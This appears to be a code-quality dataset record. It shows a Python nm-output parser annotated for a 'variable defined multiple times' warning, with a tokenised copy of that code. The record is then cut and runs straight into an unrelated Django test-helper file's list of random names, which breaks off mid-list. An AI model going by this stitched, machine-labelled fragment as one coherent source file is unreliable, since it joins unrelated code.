[ { "content": "def parse_nm(input):\n \"\"\"Parse nm output.\n\n Argument: an iterable over lines of nm output.\n\n Yields: (symbol name, symbol type, symbol size, source file path).\n Path may be None if nm couldn't figure out the source file.\n \"\"\"\n\n # Match lines with size + symbol + optional filename.\n sym_re = re.compile(r'^[0-9a-f]+ ([0-9a-f]+) (.) ([^\\t]+)(?:\\t(.*):\\d+)?$')\n\n # Match lines with addr but no size.\n addr_re = re.compile(r'^[0-9a-f]+ (.) ([^\\t]+)(?:\\t.*)?$')\n # Match lines that don't have an address at all -- typically external symbols.\n noaddr_re = re.compile(r'^ + (.) (.*)$')\n\n for line in input:\n line = line.rstrip()\n match = sym_re.match(line)\n if match:\n size, type, sym = match.groups()[0:3]\n size = int(size, 16)\n type = type.lower()\n if type in ['u', 'v']:\n type = 'w' # just call them all weak\n if type == 'b':\n continue # skip all BSS for now\n path = match.group(4)\n yield sym, type, size, path\n continue\n match = addr_re.match(line)\n if match:\n type, sym = match.groups()[0:2]\n # No size == we don't care.\n continue\n match = noaddr_re.match(line)\n if match:\n type, sym = match.groups()\n if type in ('U', 'w'):\n # external or weak symbol\n continue\n\n print >>sys.stderr, 'unparsed:', repr(line)", "metadata": "root.parse_nm", "header": "['module', '___EOS___']", "index": 48 } ]
[ { "span": "type,", "start_line": 81, "start_column": 12, "end_line": 81, "end_column": 16 }, { "span": "sym ", "start_line": 81, "start_column": 18, "end_line": 81, "end_column": 21 } ]
[ { "span": "type,", "start_line": 69, "start_column": 18, "end_line": 69, "end_column": 22 }, { "span": "sym ", "start_line": 69, "start_column": 24, "end_line": 69, "end_column": 27 }, { "span": "type,", "start_line": 86, "start_column": 12, "end_line": 86, "end_column": 16 }, { "span": "sym ", "start_line": 86, "start_column": 18, "end_line": 86, "end_column": 21 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "\\u", "nm_", "(_", "input_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Pars", "e", " ", "nm", " ", "output", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "ument", ":", " ", "an", " ", "iterable", " ", "over", " ", "lines", " ", "of", " ", "nm", " ", "output", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Yi", "elds", ":", " ", "(", "symbol", " ", "name", ",", " ", "symbol", " ", "type", ",", " ", "symbol", " ", "size", ",", " ", "source", " ", "file", " ", "path", ").", "\\", "10", ";", " ", " ", " ", " ", "Path", " ", "may", " ", "be", " ", "Non", "e", " ", "if", " ", "nm", " ", "coul", "dn", "'", "t", " ", "figure", " ", "out", " ", "the", " ", "source", " ", "file", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Match", " ", "lines", " ", "with", " ", "size", " ", "+", " ", "symbol", " ", "+", " ", "option", "al", " ", "filename", "._", "\\u\\u\\uNL\\u\\u\\u_", "sym", "\\u", "re_", "=_", "re_", "._", "compile_", "(_", "r", "'", "^", "[", "0", "-", "9", "a", "-", "f", "]+", " ", "([", "0", "-", "9", "a", "-", "f", "]+)", " ", "(.", ")", " ", "([", "^", "\\\\", "t", "]+)", "(?:\\\\", "t", "(.*)", ":\\\\", "d", "+)?", "$'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Match", " ", "lines", " ", "with", " ", "addr", " ", "but", " ", "no", " ", "size", "._", "\\u\\u\\uNL\\u\\u\\u_", "addr", "\\u", "re_", "=_", "re_", "._", "compile_", "(_", "r", "'", "^", "[", "0", "-", "9", "a", "-", "f", "]+", " ", "(.", ")", " ", "([", "^", "\\\\", "t", "]+)", "(?:\\\\", "t", ".*)", "?$", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Match", " ", "lines", " ", "tha", "t", " ", "don", "'", "t", " ", "have", " ", "an", " ", "address", " ", "at", " ", "all", " ", "--", " ", "typical", "ly", " ", "external", " ", "symbols", "._", "\\u\\u\\uNL\\u\\u\\u_", "noa", "ddr", "\\u", "re_", "=_", "re_", "._", "compile_", "(_", "r", "'", "^", " ", "+", " ", "(.", ")", " ", "(.*)", "$'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "line_", "in_", "input_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "line_", "=_", "line_", "._", "rstrip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "sym", "\\u", "re_", "._", "match_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "size_", ",_", "type_", ",_", "sym_", "=_", "match_", "._", "groups_", "(_", ")_", "[_", "0_", ":_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "size_", "=_", "int_", "(_", "size_", ",_", "16_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type_", "=_", "type_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "in_", "[_", "'", "u", "'_", ",_", "'", "v", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "type_", "=_", "'", "w", "'_", "#", " ", "just", " ", "call", " ", "them", " ", "all", " ", "weak", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "==_", "'", "b", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "#", " ", "skip", " ", "all", " ", "BS", "S", " ", "for", " ", "now_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "match_", "._", "group_", "(_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "sym_", ",_", "type_", ",_", "size_", ",_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "match_", "=_", "addr", "\\u", "re_", "._", "match_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "type_", ",_", "sym_", "=_", "match_", "._", "groups_", "(_", ")_", "[_", "0_", ":_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "size", " ", "==", " ", "we", " ", "don", "'", "t", " ", "care", "._", "\\u\\u\\uNL\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "match_", "=_", "noa", "ddr", "\\u", "re_", "._", "match_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "type_", ",_", "sym_", "=_", "match_", "._", "groups_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "type_", "in_", "(_", "'", "U", "'_", ",_", "'", "w", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "external", " ", "or", " ", "weak", " ", "symb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ingenergy-platform/test_helpers.py
[ { "content": "\"\"\"\n:copyright: (c) 2014 Building Energy Inc\n:license: see LICENSE for more details.\n\"\"\"\nimport random\nfrom django.contrib.webdesign import lorem_ipsum\nimport datetime\nimport base64\nfrom decimal import getcontext, Decimal\ngetcontext().prec = 7\nfrom localflavor.us.us_states import STATE_CHOICES\n\nimport csv\nimport datetime\nimport os\nfrom tempfile import NamedTemporaryFile, mkdtemp\n\nfrom django.contrib.auth.models import User\nfrom django.core.files import File\n\nfrom data_importer.models import ImportRecord, ImportFile\n\nfrom django.test import TestCase\n\n\n\n\n\nRANDOM_NAME_SOURCE = [\"Atricia\", \"Linda\", \"Barbara\", \"Elizabeth\", \"Jennifer\",\n\"Maria\", \"Susan\", \"Margaret\", \"Dorothy\", \"Lisa\", \"Nancy\", \"Karen\", \"Betty\",\n\"Helen\", \"Sandra\", \"Donna\", \"Carol\", \"Ruth\", \"Sharon\", \"Michelle\", \"Laura\",\n\"Sarah\", \"Kimberly\", \"Deborah\", \"Jessica\", \"Shirley\", \"Cynthia\", \"Angela\",\n\"Melissa\", \"Brenda\", \"Amy\", \"Anna\", \"Rebecca\", \"Virginia\", \"Kathleen\",\n\"Pamela\", \"Martha\", \"Debra\", \"Amanda\", \"Stephanie\", \"Carolyn\", \"Christine\",\n\"Marie\", \"Janet\", \"Catherine\", \"Frances\", \"Ann\", \"Joyce\", \"Diane\", \"Alice\",\n\"Julie\", \"Heather\", \"Teresa\", \"Doris\", \"Gloria\", \"Evelyn\", \"Jean\", \"Cheryl\",\n\"Mildred\", \"Katherine\", \"Joan\", \"Ashley\", \"Judith\", \"Rose\", \"Janice\", \"Kelly\",\n\"Nicole\", \"Judy\", \"Christina\", \"Kathy\", \"Theresa\", \"Beverly\", \"Denise\",\n\"Tammy\", \"Irene\", \"Jane\", \"Lori\", \"Rachel\", \"Marilyn\", \"Andrea\", \"Kathryn\",\n\"Louise\", \"Sara\", \"Anne\", \"Jacquelin\", \"Wanda\", \"Bonnie\", \"Julia\", \"Ruby\",\n\"Lois\", \"Tina\", \"Phyllis\", \"Norma\", \"Paula\", \"Diana\", \"Annie\", \"Lillian\",\n\"Emily\", \"Robin\", \"Peggy\", \"Crystal\", \"Gladys\", \"Rita\", \"Dawn\", \"Connie\",\n\"Florence\", \"Tracy\", \"Edna\", \"Tiffany\", \"Carmen\", \"Rosa\", \"Cindy\", \"Grace\",\n\"Wendy\", \"Victoria\", \"Edith\", \"Kim\", \"Sherry\", \"Sylvia\", \"Josephine\", \"Thelma\",\n\"Shannon\", \"Sheila\", \"Ethel\", \"Ellen\", \"Elaine\", \"Marjorie\", \"Carrie\",\n\"Charlotte\", \"Monica\", \"Esther\", \"Pauline\", \"Emma\", \"Juanita\", \"Anita\",\n\"Rhonda\", \"Hazel\", \"Amber\", \"Eva\", \"Debbie\", \"April\", \"Leslie\", \"Clara\",\n\"Lucille\", \"Jamie\", \"Joanne\", \"Eleanor\", \"Valerie\", \"Danielle\", \"Megan\",\n\"Alicia\", \"Suzanne\", \"Michele\", \"Gail\", \"Bertha\", \"Darlene\", \"Veronica\",\n\"Jill\", \"Erin\", \"Geraldine\", \"Lauren\", \"Cathy\", \"Joann\", \"Lorraine\", \"Lynn\",\n\"Sally\", \"Regina\", \"Erica\", \"Beatrice\", \"Dolores\", \"Bernice\", \"Audrey\",\n\"Yvonne\", \"Annette\", \"June\", \"Samantha\", \"Marion\", \"Dana\", \"Stacy\", \"Ana\",\n\"Renee\", \"Ida\", \"Vivian\", \"Roberta\", \"Holly\", \"Brittany\", \"Melanie\",\n\"Loretta\", \"Yolanda\", \"Jeanette\", \"Laurie\", \"Katie\", \"Kristen\", \"Vanessa\",\n\"Alma\", \"Sue\", \"Elsie\", \"Beth\", \"Jeanne\", \"Vicki\", \"Carla\", \"Tara\",\n\"Rosemary\", \"Eileen\", \"Terri\", \"Gertrude\", \"Lucy\", \"Tonya\", \"Ella\",\n\"Stacey\", \"Wilma\", \"Gina\", \"Kristin\", \"Jessie\", \"Natalie\", \"Agnes\", \"Vera\",\n\"Willie\", \"Charlene\", \"Bessie\", \"Delores\", \"Melinda\", \"Pearl\", \"Arlene\",\n\"Maureen\", \"Colleen\", \"Allison\", \"Tamara\", \"Joy\", \"Georgia\", \"Constance\",\n\"Lillie\", \"Claudia\", \"Jackie\", \"Marcia\", \"Tanya\", \"Nellie\", \"Minnie\",\n\"Marlene\", \"Heidi\", \"Glenda\", \"Lydia\", \"Viola\", \"Courtney\", \"Marian\",\n\"Stella\", \"Caroline\", \"Dora\", \"Jo\", \"Vickie\", \"Mattie\", \"Terry\", \"Maxine\",\n\"Irma\", \"Mabel\", \"Marsha\", \"Myrtle\", \"Lena\", \"Christy\", \"Deanna\", \"Patsy\",\n\"Hilda\", \"Gwendolyn\", \"Jennie\", \"Nora\", \"Margie\", \"Nina\", \"Cassandra\",\n\"Leah\", \"Penny\", \"Kay\", \"Priscilla\", \"Naomi\", \"Carole\", \"Brandy\", \"Olga\",\n\"Billie\", \"Dianne\", \"Tracey\", \"Leona\", \"Jenny\", \"Felicia\", \"Sonia\", \"Miriam\",\n\"Velma\", \"Becky\", \"Bobbie\", \"Violet\", \"Kristina\", \"Toni\", \"Misty\", \"Mae\",\n\"Shelly\", \"Daisy\", \"Ramona\", \"Sherri\", \"Erika\", \"Katrina\", \"Claire\",\n\"Lindsey\", \"Lindsay\", \"Geneva\", \"Guadalupe\", \"Belinda\", \"Margarita\", \"Sheryl\",\n\"Cora\", \"Faye\", \"Ada\", \"Natasha\", \"Sabrina\", \"Isabel\", \"Marguerit\", \"Hattie\",\n\"Harriet\", \"Molly\", \"Cecilia\", \"Kristi\", \"Brandi\", \"Blanche\", \"Sandy\", \"Rosie\",\n\"Joanna\", \"Iris\", \"Eunice\", \"Angie\", \"Inez\", \"Lynda\", \"Madeline\", \"Amelia\",\n\"Alberta\", \"Genevieve\", \"Monique\", \"Jodi\", \"Janie\", \"Maggie\", \"Kayla\", \"Sonya\",\n\"Jan\", \"Lee\", \"Kristine\", \"Candace\", \"Fannie\", \"Maryann\", \"Opal\", \"Alison\",\n\"Yvette\", \"Melody\", \"Luz\", \"Susie\", \"Olivia\", \"Flora\", \"Shelley\", \"Kristy\",\n\"Mamie\", \"Lula\", \"Lola\", \"Verna\", \"Beulah\", \"Antoinett\", \"Candice\", \"Juana\",\n\"Jeannette\", \"Pam\", \"Kelli\", \"Hannah\", \"Whitney\", \"Bridget\", \"Karla\", \"Celia\",\n\"Latoya\", \"Patty\", \"Shelia\", \"Gayle\", \"Della\", \"Vicky\", \"Lynne\", \"Sheri\",\n\"Marianne\", \"Kara\", \"Jacquelyn\", \"Erma\", \"Blanca\", \"Myra\", \"Leticia\", \"Pat\",\n\"Krista\", \"Roxanne\", \"Angelica\", \"Johnnie\", \"Robyn\", \"Francis\", \"Adrienne\",\n\"Rosalie\", \"Alexandra\", \"Brooke\", \"Bethany\", \"Sadie\", \"Bernadett\", \"Traci\",\n\"Jody\", \"Kendra\", \"Jasmine\", \"Nichole\", \"Rachael\", \"Chelsea\", \"Mable\",\n\"Ernestine\", \"Muriel\", \"Marcella\", \"Elena\", \"Krystal\", \"Angelina\", \"Nadine\",\n\"Kari\", \"Estelle\", \"Dianna\", \"Paulette\", \"Lora\", \"Mona\", \"Doreen\", \"Rosemarie\",\n\"Angel\", \"Desiree\", \"Antonia\", \"Hope\", \"Ginger\", \"Janis\", \"Betsy\", \"Christie\",\n\"Freda\", \"Mercedes\", \"Meredith\", \"Lynette\", \"Teri\", \"Cristina\", \"Eula\",\n\"Leigh\", \"Meghan\", \"Sophia\", \"Eloise\", \"James\", \"John\", \"Robert\",\n\"Michael\", \"William\", \"David\", \"Richard\", \"Charles\", \"Joseph\", \"Thomas\",\n\"Christoph\", \"Daniel\", \"Paul\", \"Mark\", \"Donald\", \"George\", \"Kenneth\", \"Steven\",\n\"Edward\", \"Brian\", \"Ronald\", \"Anthony\", \"Kevin\", \"Jason\", \"Matthew\", \"Gary\",\n\"Timothy\", \"Jose\", \"Larry\", \"Jeffrey\", \"Frank\", \"Scott\", \"Eric\", \"Stephen\",\n\"Andrew\", \"Raymond\", \"Gregory\", \"Joshua\", \"Jerry\", \"Dennis\", \"Walter\",\n\"Patrick\", \"Peter\", \"Harold\", \"Douglas\", \"Henry\", \"Carl\", \"Arthur\", \"Ryan\",\n\"Roger\", \"Joe\", \"Juan\", \"Jack\", \"Albert\", \"Jonathan\", \"Justin\", \"Terry\",\n\"Gerald\", \"Keith\", \"Samuel\", \"Willie\", \"Ralph\", \"Lawrence\", \"Nicholas\", \"Roy\",\n\"Benjamin\", \"Bruce\", \"Brandon\", \"Adam\", \"Harry\", \"Fred\", \"Wayne\", \"Billy\",\n\"Steve\", \"Louis\", \"Jeremy\", \"Aaron\", \"Randy\", \"Howard\", \"Eugene\", \"Carlos\",\n\"Russell\", \"Bobby\", \"Victor\", \"Martin\", \"Ernest\", \"Phillip\", \"Todd\", \"Jesse\",\n\"Craig\", \"Alan\", \"Shawn\", \"Clarence\", \"Sean\", \"Philip\", \"Chris\", \"Johnny\",\n\"Earl\", \"Jimmy\", \"Antonio\", \"Danny\", \"Bryan\", \"Tony\", \"Luis\", \"Mike\",\n\"Stanley\", \"Leonard\", \"Nathan\", \"Dale\", \"Manuel\", \"Rodney\", \"Curtis\", \"Norman\",\n\"Allen\", \"Marvin\", \"Vincent\", \"Glenn\", \"Jeffery\", \"Travis\", \"Jeff\", \"Chad\",\n\"Jacob\", \"Lee\", \"Melvin\", \"Alfred\", \"Kyle\", \"Francis\", \"Bradley\", \"Jesus\",\n\"Herbert\", \"Frederick\", \"Ray\", \"Joel\", \"Edwin\", \"Don\", \"Eddie\", \"Ricky\",\n\"Troy\", \"Randall\", \"Barry\", \"Alexander\", \"Bernard\", \"Mario\", \"Leroy\",\n\"Francisco\", \"Marcus\", \"Micheal\", \"Theodore\", \"Clifford\", \"Miguel\", \"Oscar\",\n\"Jay\", \"Jim\", \"Tom\", \"Calvin\", \"Alex\", \"Jon\", \"Ronnie\", \"Bill\", \"Lloyd\",\n\"Tommy\", \"Leon\", \"Derek\", \"Warren\", \"Darrell\", \"Jerome\", \"Floyd\", \"Leo\",\n\"Alvin\", \"Tim\", \"Wesley\", \"Gordon\", \"Dean\", \"Greg\", \"Jorge\", \"Dustin\", \"Pedro\",\n\"Derrick\", \"Dan\", \"Lewis\", \"Zachary\", \"Corey\", \"Herman\", \"Maurice\", \"Vernon\",\n\"Roberto\", \"Clyde\", \"Glen\", \"Hector\", \"Shane\", \"Ricardo\", \"Sam\", \"Rick\",\n\"Lester\", \"Brent\", \"Ramon\", \"Charlie\", \"Tyler\", \"Gilbert\", \"Gene\", \"Marc\",\n\"Reginald\", \"Ruben\", \"Brett\", \"Angel\", \"Nathaniel\", \"Rafael\", \"Leslie\",\n\"Edgar\", \"Milton\", \"Raul\", \"Ben\", \"Chester\", \"Cecil\", \"Duane\", \"Franklin\",\n\"Andre\", \"Elmer\", \"Brad\", \"Gabriel\", \"Ron\", \"Mitchell\", \"Roland\", \"Arnold\",\n\"Harvey\", \"Jared\", \"Adrian\", \"Karl\", \"Cory\", \"Claude\", \"Erik\", \"Darryl\",\n\"Jamie\", \"Neil\", \"Jessie\", \"Christian\", \"Javier\", \"Fernando\", \"Clinton\", \"Ted\",\n\"Mathew\", \"Tyrone\", \"Darren\", \"Lonnie\", \"Lance\", \"Cody\", \"Julio\", \"Kelly\",\n\"Kurt\", \"Allan\", \"Nelson\", \"Guy\", \"Clayton\", \"Hugh\", \"Max\", \"Dwayne\", \"Dwight\",\n\"Armando\", \"Felix\", \"Jimmie\", \"Everett\", \"Jordan\", \"Ian\", \"Wallace\", \"Ken\",\n\"Bob\", \"Jaime\", \"Casey\", \"Alfredo\", \"Alberto\", \"Dave\", \"Ivan\", \"Johnnie\",\n\"Sidney\", \"Byron\", \"Julian\", \"Isaac\", \"Morris\", \"Clifton\", \"Willard\", \"Daryl\",\n\"Ross\", \"Virgil\", \"Andy\", \"Marshall\", \"Salvador\", \"Perry\", \"Kirk\", \"Sergio\",\n\"Marion\", \"Tracy\", \"Seth\", \"Kent\", \"Terrance\", \"Rene\", \"Eduardo\", \"Terrence\",\n\"Enrique\", \"Freddie\", \"Wade\", \"Austin\", \"Stuart\", \"Fredrick\", \"Arturo\",\n\"Alejandro\", \"Jackie\", \"Joey\", \"Nick\", \"Luther\", \"Wendell\", \"Jeremiah\", \"Evan\",\n\"Julius\", \"Dana\", \"Donnie\", \"Otis\", \"Shannon\", \"Trevor\", \"Oliver\", \"Luke\",\n\"Homer\", \"Gerard\", \"Doug\", \"Kenny\", \"Hubert\", \"Angelo\", \"Shaun\", \"Lyle\",\n\"Matt\", \"Lynn\", \"Alfonso\", \"Orlando\", \"Rex\", \"Carlton\", \"Ernesto\", \"Cameron\",\n\"Neal\", \"Pablo\", \"Lorenzo\", \"Omar\", \"Wilbur\", \"Blake\", \"Grant\", \"Horace\",\n\"Roderick\", \"Kerry\", \"Abraham\", \"Willis\", \"Rickey\", \"Jean\", \"Ira\", \"Andres\",\n\"Cesar\", \"Johnathan\", \"Malcolm\", \"Rudolph\", \"Damon\", \"Kelvin\", \"Rudy\",\n\"Preston\", \"Alton\", \"Archie\", \"Marco\", \"Wm\", \"Pete\", \"Randolph\", \"Garry\",\n\"Geoffrey\", \"Jonathon\", \"Felipe\", \"Bennie\", \"Gerardo\", \"Ed\", \"Dominic\",\n\"Robin\", \"Loren\", \"Delbert\", \"Colin\", \"Guillermo\", \"Earnest\", \"Lucas\", \"Benny\",\n\"Noel\", \"Spencer\", \"Rodolfo\", \"Myron\", \"Edmund\", \"Garrett\", \"Salvatore\",\n\"Cedric\", \"Lowell\", \"Gregg\", \"Sherman\", \"Wilson\", \"Devin\", \"Sylvester\", \"Kim\",\n\"Roosevelt\", \"Israel\", \"Jermaine\", \"Forrest\", \"Wilbert\", \"Leland\", \"Simon\",\n\"Guadalupe\", \"Clark\", \"Irving\", \"Carroll\", \"Bryant\", \"Owen\", \"Rufus\",\n\"Woodrow\", \"Sammy\", \"Kristophe\", \"Mack\", \"Levi\", \"Marcos\", \"Gustavo\", \"Jake\",\n\"Lionel\", \"Marty\", \"Taylor\", \"Ellis\", \"Dallas\", \"Gilberto\", \"Clint\", \"Nicolas\",\n\"Laurence\", \"Ismael\", \"Orville\", \"Drew\", \"Jody\", \"Ervin\", \"Dewey\", \"Al\",\n\"Wilfred\", \"Josh\", \"Hugo\", \"Ignacio\", \"Caleb\", \"Tomas\", \"Sheldon\", \"Erick\",\n\"Frankie\", \"Stewart\", \"Doyle\", \"Darrel\", \"Rogelio\", \"Terence\", \"Santiago\",\n\"Alonzo\", \"Elias\", \"Bert\", \"Elbert\", \"Ramiro\", \"Conrad\", \"Pat\", \"Noah\",\n\"Grady\", \"Phil\", \"Cornelius\", \"Lamar\", \"Rolando\", \"Clay\", \"Percy\", \"Dexter\",\n\"Bradford\", \"Merle\", \"Darin\", \"Amos\", \"Terrell\", \"Moses\", \"Irvin\", \"Saul\",\n\"Roman\", \"Darnell\", \"Randal\", \"Tommie\", \"Timmy\", \"Darrin\", \"Winston\",\n\"Brendan\", \"Toby\", \"Van\", \"Abel\", \"Dominick\", \"Boyd\", \"Courtney\", \"Jan\",\n\"Emilio\", \"Elijah\", \"Cary\", \"Domingo\", \"Santos\", \"Aubrey\", \"Emmett\", \"Marlon\",\n\"Emanuel\", \"Jerald\", \"Edmond\", \"Emil\", \"Dewayne\", \"Will\", \"Otto\", \"Teddy\",\n\"Reynaldo\", \"Bret\", \"Morgan\", \"Jess\", \"Trent\", \"Humberto\", \"Emmanuel\",\n\"Stephan\", \"Louie\", \"Vicente\", \"Lamont\", \"Stacy\", \"Garland\", \"Miles\", \"Micah\",\n\"Efrain\", \"Billie\", \"Logan\", \"Heath\", \"Rodger\", \"Harley\", \"Demetrius\",\n\"Ethan\", \"Eldon\", \"Rocky\", \"Pierre\", \"Junior\", \"Freddy\", \"Eli\", \"Bryce\",\n\"Antoine\", \"Robbie\", \"Kendall\", \"Royce\", \"Sterling\", \"Mickey\", \"Chase\",\n\"Grover\", \"Elton\", \"Cleveland\", \"Dylan\", \"Chuck\", \"Damian\", \"Reuben\", \"Stan\",\n\"August\", \"Leonardo\", \"Jasper\", \"Russel\", \"Erwin\", \"Benito\", \"Hans\", \"Monte\",\n\"Blaine\", \"Ernie\", \"Curt\", \"Quentin\", \"Agustin\", \"Murray\", \"Jamal\", \"Devon\",\n\"Adolfo\", \"Harrison\", \"Tyson\", \"Burton\", \"Brady\", \"Elliott\", \"Wilfredo\",\n\"Bart\", \"Jarrod\", \"Vance\", \"Denis\", \"Damien\", \"Joaquin\", \"Harlan\", \"Desmond\",\n\"Elliot\", \"Darwin\", \"Ashley\", \"Gregorio\", \"Buddy\", \"Xavier\", \"Kermit\",\n\"Roscoe\", \"Esteban\", \"Anton\", \"Solomon\", \"Scotty\", \"Norbert\", \"Elvin\",\n\"Williams\", \"Nolan\", \"Carey\", \"Rod\", \"Quinton\", \"Hal\", \"Brain\", \"Rob\",\n\"Elwood\", \"Kendrick\", \"Darius\", \"Moises\", \"Son\", \"Marlin\", \"Fidel\",\n\"Thaddeus\", \"Cliff\", \"Marcel\", \"Ali\", \"Jackson\", \"Raphael\", \"Bryon\", \"Armand\",\n\"Alvaro\", \"Jeffry\", \"Dane\", \"Joesph\", \"Thurman\", \"Ned\", \"Sammie\", \"Rusty\",\n\"Michel\", \"Monty\", \"Rory\", \"Fabian\", \"Reggie\", \"Mason\", \"Graham\", \"Kris\",\n\"Isaiah\", \"Vaughn\", \"Gus\", \"Avery\", \"Loyd\", \"Diego\", \"Alexis\", \"Adolph\",\n\"Norris\", \"Millard\", \"Rocco\", \"Gonzalo\", \"Derick\", \"Rodrigo\", \"Gerry\",\n\"Stacey\", \"Carmen\", \"Wiley\", \"Rigoberto\", \"Alphonso\", \"Ty\", \"Shelby\",\n\"Rickie\", \"Noe\", \"Vern\", \"Bobbie\", \"Reed\", \"Jefferson\", \"Elvis\", \"Bernardo\",\n\"Mauricio\", \"Hiram\", \"Donovan\", \"Basil\", \"Riley\", \"Ollie\", \"Nickolas\",\n\"Maynard\", \"Scot\", \"Vince\", \"Quincy\", \"Eddy\", \"Sebastian\", \"Federico\",\n\"Ulysses\", \"Heriberto\", \"Donnell\", \"Cole\", \"Denny\", \"Davis\", \"Gavin\", \"Emery\",\n\"Ward\", \"Romeo\", \"Jayson\", \"Dion\", \"Dante\", \"Clement\", \"Coy\", \"Odell\",\n\"Maxwell\", \"Jarvis\", \"Bruno\", \"Issac\", \"Mary\", \"Dudley\", \"Brock\", \"Sanford\",\n\"Colby\", \"Carmelo\", \"Barney\", \"Nestor\", \"Hollis\", \"Stefan\", \"Donny\", \"Art\",\n\"Linwood\", \"Beau\", \"Weldon\", \"Galen\", \"Isidro\", \"Truman\", \"Delmar\",\n\"Johnathon\", \"Silas\", \"Frederic\", \"Dick\", \"Kirby\", \"Irwin\", \"Cruz\", \"Merlin\",\n\"Merrill\", \"Charley\", \"Marcelino\", \"Lane\", \"Harris\", \"Cleo\", \"Carlo\",\n\"Trenton\", \"Kurtis\", \"Hunter\", \"Aurelio\", \"Winfred\", \"Vito\", \"Collin\",\n\"Denver\", \"Carter\", \"Leonel\", \"Emory\", \"Pasquale\", \"Mohammad\", \"Mariano\",\n\"Danial\", \"Blair\", \"Landon\", \"Dirk\", \"Branden\", \"Adan\", \"Numbers\", \"Clair\",\n\"Buford\", \"German\", \"Bernie\", \"Wilmer\", \"Joan\", \"Emerson\", \"Zachery\",\n\"Fletcher\", \"Jacques\", \"Errol\", \"Dalton\", \"Monroe\", \"Josue\", \"Dominique\",\n\"Edwardo\", \"Booker\", \"Wilford\", \"Sonny\", \"Shelton\", \"Carson\", \"Theron\",\n\"Raymundo\", \"Daren\", \"Tristan\", \"Houston\", \"Robby\", \"Lincoln\", \"Jame\",\n\"Genaro\", \"Gale\", \"Bennett\", \"Octavio\", \"Cornell\", \"Laverne\", \"Hung\", \"Arron\",\n\"Antony\", \"Herschel\", \"Alva\", \"Giovanni\", \"Garth\", \"Cyrus\", \"Cyril\", \"Ronny\",\n\"Stevie\", \"Lon\", \"Freeman\", \"Erin\", \"Duncan\", \"Kennith\", \"Carmine\",\n\"Augustine\", \"Young\", \"Erich\", \"Chadwick\", \"Wilburn\", \"Russ\", \"Reid\", \"Myles\",\n\"Anderson\", \"Morton\", \"Jonas\", \"Forest\", \"Mitchel\", \"Mervin\", \"Zane\", \"Rich\",\n\"Jamel\", \"Lazaro\", \"Alphonse\", \"Randell\", \"Major\", \"Johnie\", \"Jarrett\",\n\"Brooks\", \"Ariel\", \"Abdul\", \"Dusty\", \"Luciano\", \"Lindsey\", \"Tracey\", \"Seymour\",\n\"Scottie\", \"Eugenio\", \"Mohammed\", \"Sandy\", \"Valentin\", \"Chance\", \"Arnulfo\",\n\"Lucien\", \"Ferdinand\", \"Thad\", \"Ezra\", \"Sydney\", \"Aldo\", \"Rubin\", \"Royal\",\n\"Mitch\", \"Earle\", \"Abe\", \"Wyatt\", \"Marquis\", \"Lanny\", \"Kareem\", \"Jamar\",\n\"Boris\", \"Isiah\", \"Emile\", \"Elmo\", \"Aron\", \"Leopoldo\", \"Everette\", \"Josef\",\n\"Gail\", \"Eloy\", \"Dorian\", \"Rodrick\", \"Reinaldo\", \"Lucio\", \"Jerrod\", \"Weston\",\n\"Hershel\", \"Barton\", \"Parker\", \"Lemuel\", \"Lavern\", \"Burt\", \"Jules\", \"Gil\",\n\"Eliseo\", \"Ahmad\", \"Nigel\", \"Efren\", \"Antwan\", \"Alden\", \"Margarito\", 